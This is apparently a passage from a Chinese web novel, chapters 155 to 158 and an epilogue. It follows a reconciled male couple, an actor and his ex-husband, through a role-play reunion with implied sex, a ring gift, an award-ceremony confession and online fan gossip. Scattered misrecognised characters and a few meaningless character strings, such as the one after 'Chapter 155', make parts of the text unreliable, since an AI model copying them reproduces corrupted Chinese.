黑色的碎发很利落,脸上戴着一款很修饰脸型的黑色口罩-一当然了,就算对方不戴口罩,脸型仍旧精致完美,不过让时蔺川最惊讶的是对方身上那套白底蓝杠纹校服。不仅如此,这人背了一个明蓝色的双肩书包,款式简约,左侧的书包带遮住胸口的圆形校徽,看上去.…是个很干净的高中学生。时蔺川注视了屏幕里的“''高中生’好半响,看见他似乎等不及地拾脸往门铃摄像头前凑了凑,又从裤兜里掏出手机看了一眼,然后再度按响门铃。叮咚声很快截停。时蔺川在屏幕上的喇叭图标上点了一下,嘴角不自觉弯起,说话的语气却很冷淡,仿佛门外的家伙只是个陌生人。“你找谁?"闻言,高中生站近两步,用手指勾下一侧的口罩挂绳,露出完整的脸,歪着脑袋凑近屏幕,很有礼貌地道:“时老师在家吗?我想感谢他给我补习英语,特地带了礼物来看他。说完,还特意提高手里的袋子,让其出镜。 时蔺川确信,自己看到了奶茶的Log0。 真应了那句老话: 礼轻情意重。 然而,比起这件事,时蔺川更关注另一点。 ….奔三的人了。 打扮成一个高中生居然没一点违和感。 时蔺川都快怀疑这款可视化门铃的屏幕自带美颜滤镜了,他忍不住棍住唇警向侧边,并无声地咳嗽了一声,借此压下笑意,而后冷冷淡淡地应了声 “我就是。" 咔嚓一声。 别墅大门打开了。 门里门外,是两个装模作样的人。…演技真烂。他的视线擦过谢景和的肩,望见保姆车停在不远处,乐言的驾驶座车窗正对着别墅门口,防窥车窗下降了大半,露出对方的侧脸,表情看起来有些一言难尽。时蔺川很有逼数。他跟谢景和这几个月谈恋爱上头,助理乐言便是第一受害者。于是他往里退了两步,特地从鞋柜里翻出一双新的拖鞋,示意道:“进来说话。”谢景和这才记起自己临时即兴的剧本,装出几分拘谨的模样,那双深情眼往里探了探,一边换鞋,一边小声地问:“时老师您一个人在家吗? 时蔺川合上门,淡声接戏: “我爱人出差了。”两人不仅结过婚,激烈离过婚,连交往都不是第一次了,仅交换一个眼神就知道对方要玩什么把戏,居然将这场临时起意的戏份流畅地进行了下去。清纯又禁忌。时蔺川成功出演了一位面冷心热的老师,将学生带到书房进行深切的指导,待双双大汗淋漓之际,又热心地出借了自己卧房的浴缸,还细心地为学生清洗身上脏污。过程中,水声哗然。见男人的视线落到自己左腿根的纹身处,谢景和费力地动了动,让那几个红得浓郁的小字更加清楚地露出来,嘴巴一张一合,又添了一笔即兴戏码。他佯装羞赧地向男人解释道: “这是我男朋友纹的。是他的名字。" 时蔺川:"…" 在场的人是不是有点太多了? 时蔺川无语了两秒,又觉得有些好笑。 他疑视着谢景和微微汗温的面庞,泛红的脸,以及到汉亮最品的深速眼眸,神情忽然有些怀公一他想起去年这道纹身出现之前,自己已经冷暴力了谢景和好几个月,在对方回家的印友,又言辞极尽巧损地差辱他.毫不夸张的说, 他干的都不是人事。时蔺川轻柔地抽离指尖,沉默了数秒,忍不住用指腹抚过那道纹身小字,轻声问询:“你男朋友给你纹的时候,疼不疼啊?谢景和有些愣,随即摇头。紧接着,他听到男人毫无预兆地吐出一句,”.景和。 “对不起。" 时蔺川抬起他的左腿,低头吻了一下他的纹身,吻一下就道一声''对不起’ 话音落下,水声响起。 谢景和腰酸,腿酸,眼也酸。他慢慢坐起来,缩进男人的臂弯里,“没关系,我男朋友对我很好的."“是吗。” “真的。” 155、Chapter 155 这三个字,谢景和曾向他讨要过- 时蔺川觋氽睽鍈根∴涡给傖ㄨ 道理很简单:假若杀人犯蓄意行凶,事后仅对受害人轻飘飘地说一声对不起’,过往造成的伤害就能一笔勾销吗? 不能。 他对谢景和的所作所为也一样。 将心比心,如果有人用他之前对待谢景和的方式,原模原样地对待自己;用他之前欺骗谢景和的谎言,来欺骗自己,时蔺川早就用刀把那个人剁成七块八块了。 道歉有什么用? 必须血债血偿。 然而,此时此刻。 时蔺川还是厚着脸皮道歉了。 当初他是真的没想过给自己留退路,也是真的没想过继续在谢景和面前扮演一个好人,就像一把泛着寒芒的箭矢,开了弓就绝不回头, 可他极尽所能地展露恶行,也没能把那人吓跑,赶跑。 随着时间的推移, 他逐渐为谢景和感到不值。 正因如此,时蔺川更加排斥谢景和,一个劲儿地将人往外推,由衷认为对方远离白己会更好一些。 靨耍漷騫茫说江山易改,本性难移。 他脾气实在不好,偏偏谢景和不知道防备,还老实巴交地把整颗心奉送到自己于上… 任他玩弄,揉捏,还不喊痛。 笨。老实说,他偶尔还会不自觉地冒出“谢景和离开自己,或许会获得比现阶段更好的人生、的念头,按照他原来的性子,大概会自顾自地做下决定,顺理成章地给自己划出一道浪路,还要以强硬的态度来撞饰内心不过,时蔺川正在努力克服这一点,并初见成效。 大概是因为. 其实他一点也不想离开谢景和。 今年不想。 明年不想。 以后也不想。 可是他没办法像谢景和在电影中饰演的高中生一样,通过某种特殊的能力穿梭于过去未来,改变自己与他人的命运,让某些遗憾事件不再发生。 所以,他只能让自己稍微诚实一点点。 …他后悔了。 时蔺川抱着缩在自己怀中的人,吻不到纹身,便吻他的额角、眉心与鼻梁,直至两人的指头都被泡皱了,才匆匆结束了这场清洗。 过往的脏污被留在了水中。 外头的天色将暗未暗。 谢景和一口气休了几个月的假,整天忙着谈恋爱,待到去年拍摄的电影出了片,过了审,才重新出现在镜头前。 连半个月,他都跟着剧组宣传电影。 他今天回来得很匆忙,压根没来得及卸妆换衣服,身上那套高中生服饰并非刻意与男人玩情趣,而是他当天路演的妆造。 电影里,他饰演的主角就是个高中生。 宣传海报也出现过这个造型,热度很高。 甚至可以说是广受好评。 谢景和裹着夏季空调被,趴在床边嘬着变回常温的奶茶,忍不住给自己点了一个赞。 效果太好,腿软得彻底. 不过他跟时蔺川正值热恋期,本就处在一个眼神都可能察枪走火的阶段,一连分别了近十天,见了面稍有失控也是理所当然的事情,今天这个小插曲顶多将气氛烘托得更焦灼一些 被吻了无数次的纹身仍旧滚烫发麻。 热感一路蔓延到心口,久久不散。于是,当时蔺川披着浴袍收拾完一塌糊涂的书房,拎着领口少了一个扣子的脏污校服回到卧房,撞见的就是这样一幕谢景和湿着头发趴在床上,深色调的薄被只遮住了中段,上下两头都大咧咧地敞着,修长的小腿还交叉叠在一起,弧度轻微地晃动着。时蔺川忍不住在门边驻足。尽管谢景和这几个月没安排工作,却也没闲着,反而很规律地恢复了健身习惯。因此,当他将两只时支在枕间,微拾着上身的时候,这一动作村得他上管肌肉线条格外好看,两扇蝴媒骨很立体,分布着深浅不一的哀迹,边缘.氲然而,时蔺川的关注重点并不在此。重点是…谢景和边喝着奶茶,另一只手攥着手机,以时蔺川的站位视角,以及被修复的视力,能清晰地看到他的手机界面,正显示着某橙色购物软件的搜索内容。时蔺川:“…”他默默走过去,将对方略过的某件衣服加入了购物车谢景和加购下单保密发货一条龙,随即将手机和空掉的奶茶杯统统塞到男人手中,然后慢吞吞地转变成侧躺的姿势,把脑袋忱在男人的腿上,笑了两声,问:“蔺川,你喜欢那个?"时蔺川扔掉垃圾,又将电量告急的手机连接上充电线,最后顺手捋了几下谢景和剪得很利落的碎发,隔了许久,才应道“也没有吧。” "就是有点好奇你穿起来的样子。 谢景和安静了两分钟,接话道: “这是不是可以证明,你只是单纯的喜欢我?" 时蔺川没反驳。他不轻不重地揪了揪谢景和的耳垂,也忍不住无声地笑了两声,“刚才洗澡的时候,你的耳朵好像进水了,要不要我给你掏一下?"谢景和立马应和:“要!"闻言,时蔺川拉开床头柜抽屉,从里面取出一盒签,开始给谢景和清理耳道,听着谢景和小声哼唧了好一会儿,然后问他 “蔺川,马上就放暑假了。”“你有空去看我的电影首映场吗?"这两句话连着听,显得时蔺川好像也要放暑假似的,他用两根手指捻着细头棉签,在谢景和的耳道中刮蹭,片刻后示意对方换个方向,将另一个耳洞也清理了,才缓缓嗯了一声随后,谢景和又絮絮叨叨地说起来,“导演说他对这部电影很有信心,打算送去冲奖.”时蔺川没他那么话多,回话都很简短。良久。 空气安静下来。时间似乎也走得慢了些。最好慢一些。窗外的天彻底暗下来了,只剩几缕余晖涂抹在窗框边,时蔺川感受着腿上的重量,敛眸注视着在不知不觉中陷入小想中的谢景和,顺手将裏在他腰腹间的薄被往上拉了拉 真奇怪。 睡着的人明明是谢景和 时蔺川却觉得, 躺在自己胸腔里的那颗心似乎也一同睡着了,还打起了小呼噜。 暑期如期而至。 作为一年当中的大热时段,排在暑期档的电影数量不少,其中不乏精良的大制作,竞争那叫一个激烈,几家主演的粉丝都快打破了头. 谢景和扛票房的本事还是很强劲。 更别说从导演到编剧,再到其他部门皆铆足了劲打磨这部电影,光是宣发的经费都不知道烧了几许,好在资金充足,注资公司很给力。 网上早就扒出花了。【在片尾报幕里看到了NO1的名字】【电影很好看,已二刷。】【过期糖也还很好吃,再吃一口。】【已经过去半年了吗?恍如隔世。[恍惚]】【有新糖啦,姐妹速速来吃,指路时谢超话,前段时间谢影帝参加路演被现场观众提问的视频剪辑。】【看过了233】【路人也看过了哈哈哈哈,妹子的燕国地图实在太短了,先是夸赞影帝线下真人状态巨好,问他怎么保养的,果然听到一句“保持心情愉快”,然后下一句就直接问到主演脸上了!!】【这句就算了,后面还问了对素人哥什么看法.…说真的,影帝还蛮会跟媒体打太极的,但是面对妹子毫无技术的提问,他居然说话都磕巴了,最后只是举着话筒报唇笑!】【复合了,确信。】【???多多关注电影本身吧,人家不回答可能只是不想提及这件事,毕竟当初那两人爱得蛮深的,那个事故视频我现在看了都觉得很震撼,不回应,可能只是不想把对方当做谈资和话题,】【说得也是。】 【那说点开心的——】 【电影票房登顶了!断层第一!!】 【】 网上那段广为流传的路演视频,时蔺川也看过。 视频里。 谢景和一身青葱飒爽的高中生打扮,听到观众唤出那个烙印在他身上,又被衣物所遮掩的名字,刚才还侃侃而谈的人忽然语塞,结巴了好几声,下意识地拾手盖住嘴唇 结合他的装束, 看起来果真是个青涩内敛的高中生。 只有时蔺川知道,这人回到家后可丝毫不显得青涩,一言一行皆是大胆出挑。 思及此处,他抬了抬眼。衣帽间里的灯光明亮。落地全身镜映出谢景和的身影.他穿西装很好看,笔挺利落,尽显男性魅力,跟电影里的形象大相径庭。时蔺川觉得演员这个职业真的很奇妙,尤其是谢景和这种演什么像什么的类型!.某些时刻,还挺刺激的。谢景和今晚要参加电影颁奖典礼,为了西装上身好看,晚饭都顾不上吃。他一早就换好了西装与皮鞋,此时正在挑选袖扣,却久久拿不定主意,非要时蔺川帮他参谋接连试了好几对,时蔺川替他做了主。谢景和一身正装,在男人面前缓慢转了个圈,蓝宝石袖扣在灯光下闪烁着熠熠的光辉。他剪短了的碎发如今又长了,被他梳起来,露出光洁饱满的前额。“主办方说颁奖典礼要直播,我看起来怎么样?"还能怎么样? 晚饭都没吃,腰就那么细细一截。 时蔺川上下打量了两圈,拖着长音道了声, “看起来屁股很大。" “.正经点,乐言正在楼下等我呢。 谢景和: 屁股大还不让人说。 时蔺川不轻不重地啧了声,重新打量了两圈,认真地点评道:“看起来好像缺了点什么。 谢景和深信不疑,问他, “缺了什么?" 时蔺川趿拉着拖鞋走近,凝视他好一会儿,语气淡然地让他闭上眼睛,引得谢景和下意识地开了个玩笑,“干嘛?这种台词听起来像是你下一秒就要往我手上套戒指了。 时蔺川:"…" 男人衣着休闲,单手插着兜。 听到这话,他正要往外抽的手陡然一顿,那张冷峻淡然的脸同样变得很臭。 谢景和瞳孔震惊:"…等下,你这个反应?" 时蔺川掉头就走。 “蔺川- 谢景和连忙扑上去,不顾形象地从身后抱住男人的腰,“等下等下等下!我现在就闭上眼睛!"乐言等了许久,一上楼梯,就撞见两个男人正抱成一团,都是气喘吁吁的模样,她谢哥紧紧抱住男人的胳膊,一个劲儿地哀求着 眼睛却闪闪发亮. 男人的手揣在兜里,大概是握成了拳,显得鼓鼓一团。 乐言:"" 不是,都什么时候了。 还在这里谈恋爱!! 156、Chapter 156 乐言提了嘴“''时间不早了’,又道了句自己先去车里等,像是撞见了什么限量级画面似的,当即就要转身下楼,偏偏中途又回过头,着重提醒道:她停顿了两秒,继续说着,“你跟时哥别耽搁太久了,待会儿你要跟剧组一起走红毯的,咳,那什么稍微注意点啊话毕,一溜烟没影了。徒留两个搂抱在一起的男人面面相觑,相视无言。看在时间确实紧急的份上,时蔺川站直身,介于心思被叫破,他也不让谢景和闭眼了,只沉默地将揣在裤兜的那只手伸出来,伸到这人的面前,缓缓摊开堂谢景和眼睛都看直了。就见男人的掌心里躺着一个红绒小圆盒。盒子看起来不新不旧,表面完好,绒色却稍显暗淡,时蔺川睨了眼谢景和的神情,发觉对方的呼吸几乎屏停了,萦绕在自己心底的那股局促莫名减轻了几分,便拾手将圆盒的顶盖打开了,露出藏在里面的小东西 “谢哥,最迟再过十五分钟,咱们就要出发了 是两枚男式戒指。 素圈,镶了钻,圈内刻着两人的名字缩写每一个特征都符合谢景和对婚戒的幻想。他拾眸凝视着男人好半响,才拾手捻起其中一枚,无比珍爱地摩挲了两下圈内的名字,然后又睁着那双黑亮的眼睛盯着时蔺川,瞧得人不太自在地喷了声,随口道:“款式有点老,凑合戴吧。谢景和不赞同地蹙起眉,表情宛如听到别人数落自己孩子长相丑陋的护犊子家长,据理力争道:“哪里老了?很好看啊。他伸出食指,轻轻点了一下戒面,"还有钻石呢。 随后,他张口吐出一句广告词,“经典永流传,钻石恒久远,没听说过吗?"说完便收回了食指,又将无名指翘得老高。意思格外明显。听他语气,时蔺川都快以为谢景和是这辈子第一次见到钻石了,明明对方早几年还跟国内某顶奢珠宝品牌有过合作,如今却为了一对三年前的老款钻戒而赞叹不已。钻石小小一粒,不值什么钱。并非高奢品牌,也不是出自顶级设计师之手。只不过是他当初在商场随手挑的。那是时蔺川人生中第一次为了某个人去挑选戒指——为了完成求婚任务而挑选道具,不具备任何特殊含义,可当他买到手后,忍不住愤愤不平地想着 凭什么? 所以,当时他并没有如原著中描述的那样,将这对便宜戒指送给谢景和,而是以对方的演员身份做借口,送了另一条价格相对昂贵的钻石吊坠,被谢景和视若珍宝,连日常佩戴都舍不得。 时隔三年。 时蔺川终究还是将它掏出来了,仿佛掏出自己藏了三年的心,他面上风轻云淡,将稍小一圈的戒指往谢景和的左手无名指上套,顺手摸了摸盘亘在对方掌心的那道疤,忽然道: “当时在柜台看到它的第一眼就觉得.…” “很喜欢。 他像是在说钻戒,又像是在说戴着钻戒的人,冷然的面孔不由得温和了几分,噪音低沉,诱得谢景和心颤,手也颤地替男人戴上了另一枚戒指,半响都说不出话来。 还是时蔺川提醒他, “十五分钟到了,你该出发了。 谢景和一步三回头地下了楼,上车后,他忍不住表情恍惚地盯着自己的手,压根挪不开眼。乐言跟他说了几句话,他都没听清,听清了也没记住,记住了也没空去思考。 只一个劲儿地傻笑。 望着自己指头的眼神深情到了极点,似春波荡漾。 乐言: 沉默两秒。 她忽然道:“谢哥,你戒指挺好看的。 “蔺川刚才送给我的,我也觉得特别好看,”谢景和当即拾眸望过来,那只手举着,另一只手还要托着腕子,“他对我太好了。 乐言:"” 啊,好熟悉的发言。 自己似乎触发了某种恋爱脑自动回复机制。 思及此处,乐言不自觉地跟着笑了笑,忍不住附和道:“我也这么觉得,时哥真的对你蛮好的。 随后,她好奇地问了句,“你们要复婚了吗?"谢景和抚摸着戒指,闻言愣了一下,摇了摇脑袋,“不知道,刚才时间太赶了,蔺川没提这件事,我也没来得及问话音刚落。 他跟乐言对视一眼,又嘿嘿笑了两声。 “没关系啦。" “结不结婚,其实不要紧. “我只是,很喜欢跟蔺川在一起而已。" 比起谢景和出门时的恋恋不舍,恨不得掉头跑回来的姿态,时川则利落多了。 他返回衣帽间,也换了一身正装,衬得他身姿愈发颀长挺拔,行动间,指间的戒圈折射着光影,勾着人的视线。 时蔺川也忍不住去看。 上了车,裴悦第一眼就注意到了他手上多出来的饰品,不由得挑着眉,拖长尾音''哟’了一声,“打算复婚了? 时蔺川望着窗外飞速后移的景色,右手来回旋动无名指的戒圈,没吭声,心头却涌动着一股莫名的情绪,让他有些坐不住 出师不利。 有点紧张。 然而,时蔺川没想到的是,先前那场小乌龙居然只是今晚的一个开端-一车到半途,前方的路突然堵了,进退不得。很快交警走过来,敲开车窗,说有三辆车发生了追尾事件,需要等待疏通 预计,两个小时。 交警走后,时蔺川忍不住深吸一口气,脸上的表情仍旧很冷,裴悦却看得有些牙疼,她将边碎发到耳后,道了声 “老大,安啦安啦。颁奖典礼很繁琐的,光是走红毯都不知道要花多少时间了,与其担心赶不上趟,你还不如担心万一谢景和这次没拿到奖怎么办好了…." 这显然是句玩笑话。 但时蔺川并没有被逗乐,反而愈发坐立难安。 晚八点整。 到了颁奖典礼开始的时间。 时蔺川还堵在路上,只好用手机点进主办方设立的直播间,高清镜头底下的男男女女打扮得光鲜亮丽,容貌皆是上乘,在镜头前摆出完美的姿势,表情无懈可击,。 他无聊地看着,视线不聚焦。 直至那人跟随剧组入了场,对着镜头绽露出一抹很得体的浅笑。 跟屏幕上飘过的一连串aws”,“承包这个美貌最和等等赞美词句不同,时蔺川的脑袋里只想到了这人平时在家的脱线举止,以及方才舍不得离开,差点红着眼眶哭出来的模样,乐了。 没长大似的。 亦或者说,越长越回去了。 当然了。 时蔺川也没立场指责谢景和什么,他自己的状态也不容乐观,前些日子为了跟谢景和出门约会看电影首映,还翘了一回班。 他以前还在做任务的时候,也陪谢景和看过几场电影,面上装得人模人样,却在心里暗暗嗤之以鼻,觉得银幕上的人动不动就要死要活,哭笑都难以自控,真是矫情得要命。 简直难以理解。 真恶心,反胃,想吐。…其实也不是真的想吐,他只是觉得,那样的爱情一点也不真实。像是假的。就像他与谢景和的爱情,都是假的。 此时此刻。 时蔺川回想着这三年多以来的种种,余光警见自己倒映在车窗上的的侧脸,骤然发觉自己凝视着屏幕中人的同时,居然也在无声地笑,宛如冰雪消融,春回大地,风在他的嘴角吹出一弯清浅温和的弧度。 可春天早就过去了。 如今已是盛夏。 他和谢景和的院子里,小树苗伸展着枝桠,绿荫青翠,当季的花争相开得艳丽,青藤轻轻缠绕着院中藤椅的脚,不放开。 空气泛着清甜。 时蔺川闭了闭眼,忍不住伸出手指,在屏幕中的某张面孔上抚摸了几下,想要借此缓解此时紧张的心情 夏天到了。废墟上长满了花,漫山遍野地开,他的爱情快要藏不住时蔺川很想问问谢景和,你原音仕进我的城保用吧?你愿意住进我的城堡里吗? 157、Chapter 157 天公不作美。 立交桥被结结实实地堵成了长龙,时蔺川扭着脸,将车窗降下来想要呼吸一口新鲜空气,却嗅了一鼻子的潮, 原来是天空下起了小雨。 夏日季节本就不讲理,这雨说下就下,随心所欲得没了边,好在雨势并不大,只是路况畅通的速度大概要更慢些了 咔的一声。 时蔺川索性将车窗降到了底,探出半截手掌去碾落下来的雨丝 裴悦只瞥见男人的后脑勺,以为他心情不好,笑着打哈哈,“要是时间实在紧张,我就跟主办方联系,让他们把颁奖顺序调换一下,反正怎么着都来得及 时蔺川没解释,兀自让毛毛雨扑在自己的脸上。 横竖淹不死他。 他的另一只手还捏着手机。 视频中。 谢景和已经走完了红毯,提笔签过名,转身跟其他人一同拍照时还刻意拾起左手理了理头发,又整了整领结与衣袖,矫操造作的小动作一个接着一个,生怕没人发现似的。 评论区和弹幕已经发现了端倪,像是对暗号似的,发了一堆没头没尾的问号和短句,不少人已经载了图,转发到其他平台大肆讨论,说不定时蔺川人还没到现场,他的名字就得上热搜了 镜头切到了旁人。 时蔺川听着麦克风里的声儿,观着潮湿冰冷的雨,替刚才那个没皮没脸的家伙感到害臊,他的额发与眉睫都沾染了湿意,耳根子干燥得发烫,身子仍稳稳当当地坐在车里.…. 要去见那家伙。 紧赶慢赶,好在时蔺川最后还是赶上了。 此刻,网上已经掀起了浪潮,但现场尚且平静 裴悦早就跟主办方打好了招呼,让他们在前排留了个座儿,还特地没有在椅背上标注姓名,可谁知道时蔺川迟到了这么久呢? 于是,前排就这么突兀地留了个缺。 台上台下都打着灯光。 时蔺川静悄悄从后门进来,身上微潮,水汽凝结在他的睫稍半晌不挪窝,比他手上的钻还闪。他没有往前头走,反而站在会场边缘的空地上,身前是一众工作人员。时蔺川个儿高,比周遭的人高出一大截,视线全然不受阻拦,一眼看到了谢景和的后脑勺一是比别人圆些,俊俏些。主持人站在台上,恰好揭露“最佳男主角“奖项的获奖者,短暂地卖了个关子之后,于璀璨灯光中大声念出了谢景和的名字,一旁的大屏顿时切了个镜头,映出那人的正脸深情眼,黑西装,英俊周正得不像话。同行的人鼓掌最大声,主持人邀他上台领奖,谢景和便微笑着站起身,打着横往外走,左手轻轻在小腹处,似乎正在抚平西装褶皱,举止礼貌而又得体。时蔺川站在半明半暗处,也轻轻鼓起掌。就贝那人迈着长服登上领奖台,西装笔挺,举着话筒的手,无名指闪闪发亮,被镜头原模原样地呈现在现场大屏和直播间中,当即引起台下与网上的关注,原因无他。之前那档综艺着实火出了圈。现场许多人都看过,没看过也听过。对于谢景和来说,今晚可谓是好事成双,待主持人领出奖杯,他满面春风地发表了一通获奖感言,陆陆续续感谢了一圈人,最后说到“也感谢我爱和爱我的那个人’的时候底下忽然响起一片喊声。“哦哦听起来像是起哄。谢景和愣了一秒,瞥见剧组导演表情激动,一个劲儿地指向旁边的大屏,他不由得循着对方手指的方向看过去,恍然发觉导播不知道什么时候切了镜头。大屏上。男人站在灯光昏暗处,他身前工作人员意识到了什么,看了看在大屏上露面的自己,齐刷刷地往旁边躲,使得男人周围出现了一圈真空地带,看起来莫名好笑。下一秒。 一束灯光追了过去。时蔺川只觉得空气稀薄,他的手臂有千斤重他曾经跟谢景和保证过,自己再不会骗他,要不然就跑到大街上高喊十声“谢景和我爱你”,潜台词便是:对他来说,承认自己是个狗男人轻轻松松,但要他当众袒露真心.…提刀架在他的脖子都不顶用。然而,此时没有刀架在时蔺川的脖子上。光撒了他满身,台上的那个人远远地望过来,前不久展露的风度礼仪全然不见了,时蔺川看他,像在看一只着急的蚂蚁,恨不得同时挥舞着几只脚冲中到自己杯里。怀里还抱着个小金人奖杯。倏然间,时蔺川看到大屏上的男人笑了一下,两只手臂慢慢从身侧举起来,高举过头顶,手腕回折,动作生疏地比了个歪歪扭扭的心。是当初谢景和热烈奉送,又被他刻意忽略的心。他别别扭扭地捡起来,藏了许久,终于决定还给对方。被其他人看到也没关系。 公开也没关系。 时蔺川就是爱谢景和,没什么不能承认的, 三十好几的男人比完这个动作,脸滚烫,好在这些年岁也不是虚长的,他尚且维持着淡然镇定的神色,只是耳朵尖已经充满了血,半遮半掩地藏在黑发里。 谢景和的脸皮比他厚实多了。 这人一手奖杯一手话筒地回了个心,然后大步流星地冲下台,凶狠地往时蔺川的怀里撞,撞得他不由得往后退了两步,两颗心隔着胸膛猛烈地跳. 好在今夜的颁奖典礼已近尾声。最后一个奖正被谢景和攥在手里。两人携手离场倒也不耽误什么。时蔺川拽着谢景和的小臂从后门溜出老远,外头的毛毛细雨早就停歌了,只剩地面残留着深色的斑块,皮鞋踩过,映出半截花纹,身后那人跑得气喘吁吁,好半晌才回过神来,忙不迭道"….话筒,话筒忘了还!" 时蔺川停下来,跟他四目相对。 沉默几秒。两个西装革履的人疯狂地笑成一团,可谁都不愿意回去了,只牵着手继续跑啊走啊,奔向星夜.“蔺川,你要带我去哪里?"时蔺川思索许久,憋出一句, "回家吧。 “我今晚给你讲睡前故事。 那是一个很长、很长的故事了。 需要用一生讲述。 而他现在要带谢景和去他的城堡, 蝴蝶掀起了风暴,风暴过后- 万物开始生长。 158、后日谈 时隔半年之久,时谢超话再次爆了曾在综艺上公开离婚的两人再度同框,还是在谢景和电影获奖的节点——当时蔺川出现在大屏上的那一刻,眼尖的网友一眼就看到套在两人左手无名指的对戒更别说两人在大庭广众之下的张臂比心,以及谢景和一路冲下领奖台,一副乳燕投林的姿态,而男人双臂微微张开,任由他冲撞再联想到谢景和先前的那句致谢词,“我爱的和爱我的那个人'' 【卧槽卧槽,绝壁是复合了啊!!】 【谁懂我的感觉,整颗心酸酸甜甜的,有种自己上台领奖,台下本来只坐着自己的同事朋友,没想到家人也来了,还站在人群里注视着自己的感觉,莫名想哭 【靠,你这么一说,我也有点不是滋味了。】 【天, 我的意难平BEcp是不是要复活了?】【包复活的!】短短一分钟不到的画面被镜头记录下来,同时震惊了在场的所有明星艺人和观看直播的线上观众,可等其他间风而来的吃瓜群众进入直播间的时候,那两人早就跑得没影了。【啊啊啊, 没赶上直播,只能滚回去看网友的录屏和截图了,第十遍启动!】【在场明星的Reaction也挺有意思的,我敢打包票,很多人都看过那档离婚综艺,吃瓜的眼神和表情是藏不住的,简直跟我一模一样!】【很好奇谢粉现在的心情2333】 我就是谢粉。】 【递话筒。】 【就,小夫大好好的吧,相信之前综艺的人结局让很多人都京掉了下巴,当时好多谢粉都区回去重新看了一遍综艺,越看越觉得时哥真的蛋好的,就是嘴巴毒了点,装模作样了点,口不对心了点,看上去很像个人渣而已] 【救命,这还是夸奖吗???】【这个男人就是很魔性啊!!怎么会有人每天选离婚,然后还去逗自己的离婚搭子,看他有没有伤心到哭啊!超级混蛋!】【懂,但是从某些细枝未节的行动和眼神,真的能看出他对影帝的关爱,尤其是花絮里那段枕头打戏,我真的】] 【你舅宠他叭。】[还有影帝在洗江喊那声“爸爸”,当时觉得小脸一黄,这两人玩儿什么情趣呢,连手机定位都搞上了,实在太扭曲了.….可等我看到后面,真的能感受到素人哥对影帝那种很厚重无言的爱。】 【大结局那段,忍不住掉了点小珍珠。】【指路神仙太太的剪辑MV#我在无人处爱你#】【太太好久没有更新了呜呜呜!CP复合了啊!!】【.…现在都不敢相信,这对居然BE爆改HE了,我要去告诉我妈这个好消息!!】今晚本就很热闹。 【指路镇圈大佬九千万太太的神文《恨你入骨》,简直了,当时综艺正在热播,太太写得太传神了,爱无能与爱依恋,看得我大晚上蒙在被子里哭。】 晚上,热搜就跟放鞭炮似的,光是明星的惊艳妆造就引发了不少讨论,还有营销号将明星的红毯照放在一起评头论足,再加上颁奖典礼开了直播通道,各家的粉丝早早进了直播间,陪正主一起蹲奖。 简而言之- 成分复杂,对家一大堆, 因此,就在全网沸腾,讨论时谢cp破镜重圆的空档,几条黑热搜以不符合常理的速度爬上了榜首。#软饭男时蔺川##综艺剧本假离婚##娱乐圈最廉价复婚# 互联网藏不住秘空就这么一会儿的功夫,已经有人扒出时蔺川和谢景和手上的戒指是某国内平价品牌的旧款,相比两人在屏幕前展露的身份与财力,显得有些不相符。【笑死了,们影帝跟大老板的爱情这么便宜啊?】【不是大老板了,据说节目一结束,老板哥就退出NO1了,合理怀疑影帝早就跟裴悦搭上线,私下达成协议,他跳槽到N01,然后让裴悦给自己的前夫造势,上综艺狠狠收割一波。】 【天,真的假的?】【之前关于时蔺川的爆料应该是影帝花钱删的吧?找了个软饭男还装什么大款啊?就这你们还嗑得死去活来,真不知道怎么想的【没见过这么廉价的,还当成宝,秀秀秀,秀一晚上了,就不拿薛超杰那场惊动圈内外人的豪华世纪婚礼来做对比了,起码也不至于这么寒酸吧??】【ber,就没人告诉影帝碎钻不值钱吗?】看着这些阴阳怪气的嘲讽,谢景和的粉丝气得牙痒痒,这摆明了是有对家买通告,踩着时蔺川的脑袋把谢景和拉下水,一踩踩两个,疯狂带节奏,惹得许多不明就里的路人也跟着嘲。 甚至还有人质疑时蔺川与谢景和上离婚综艺,是假离婚。 纯粹是为了博人眼球。 【滚啊!你家博人眼球豁出命啊?之前多丹那场事故,明眼人都看得出来时谢有多么看重彼此,性命交托都不为过,只用戒指的价格来衡量感情深浅,食补食油饼?】[Emm…等下,这样好像反向论证了假离婚这一说法,我认同这两个人对彼此的感情,但大结局的离婚,会不会是假的?其实两个人从来没有分开过?是在炒作?】【所以,复合也是在炒作?】 【】 网上众说纷纭,怎一个腥风血雨了得。 然而,另一头。 时蔺川刚把谢景和接回了家。 兴许是今夜所发生的一切让他的多巴胺过度分泌,谢景和眉服弯弯地进了门,拾着头,挺着胸,换好了拖鞋便往客厅沙发一坐,怀里捧着奖杯,又将话简连接上自家的音箱,随后懒洋洋地唤了声 “小蔺,我想喝橙汁。 活像是在家作威作福的小皇帝。 这声儿很大,还带了些混响。 好在他们家是独栋别墅,当初为了隐私考虑,墙体和玻璃都经过另外装修,隔音与防窥效果好极了。 时蔺川正脱着西装外套,冷不丁听到这个前所未有的称呼,一边拆着领结,一边睨了眼魂都飘了的谢景和,神色丝毫未变,趿拉着拖鞋拐到厨房,出来时,手里果然多了杯橙汁。 玻璃杯装了七分满,杯壁渗出小水珠。 “咔嗒。" 时蔺川将橙汁放到桌上,站直身,继续拆领带,解衣扣。 男人眼皮半敛的模样瞧着格外冷,冷得出了尘,却给人以强烈的压迫感,谢景和顶着他的视线小口喝果汁,卖乖似的仰脸笑了一下, “我就喊一下,你想喝什么,等下我给你去倒. 时蔺川倒也宽容,不跟他计较这些个细枝未节。 “不用了。" 他稍等片刻,将谢景和手里的空杯子夺下,逐步靠近,准备身体力行地让他认清两人的身份-一谁才是爸爸,谁才是儿子,而谢景和似乎已经接收到他的信号,垂下脑袋拨弄话筒的开关钮,像在害羞,腿却默打开 腰带扣露出一角。 见此情景,时蔺川故意臊他, “干嘛?我只是想亲亲你。 谢景和不生气,眼一眯,嘴巴撅得老高,也故意逗时葡川,“那你亲吧,我嘴唇可软了,还是橙汁味的,不甜不要钱。时蔺川被他的表情丑到后退一步。正当两人蜜里调油,一边亲嘴一边拌嘴的时候,谢景和的电话铃声很煞风景地响起来,乐言在电话那头提醒两人看热搜,然后将事情前后交代了一边,语气格外气愤 “好多人带节奏,说得特别难听!" 挂了电话。 谢景和登陆微博扫了几眼,时蔺川抱着他,下巴搭在他的肩头,对屏幕上的内容同样一览无余。 谢景和盯着某个词条,小声地说:“这些都不是真的。"正当时蔺川以为他介怀于网上那些议论的时候,就听谢景和语气略带幽怨地道:“你根本就没有吃过我的软饭" 空气沉寂几秒。 时蔺川抬手扭过他的下巴,嗤笑出声, 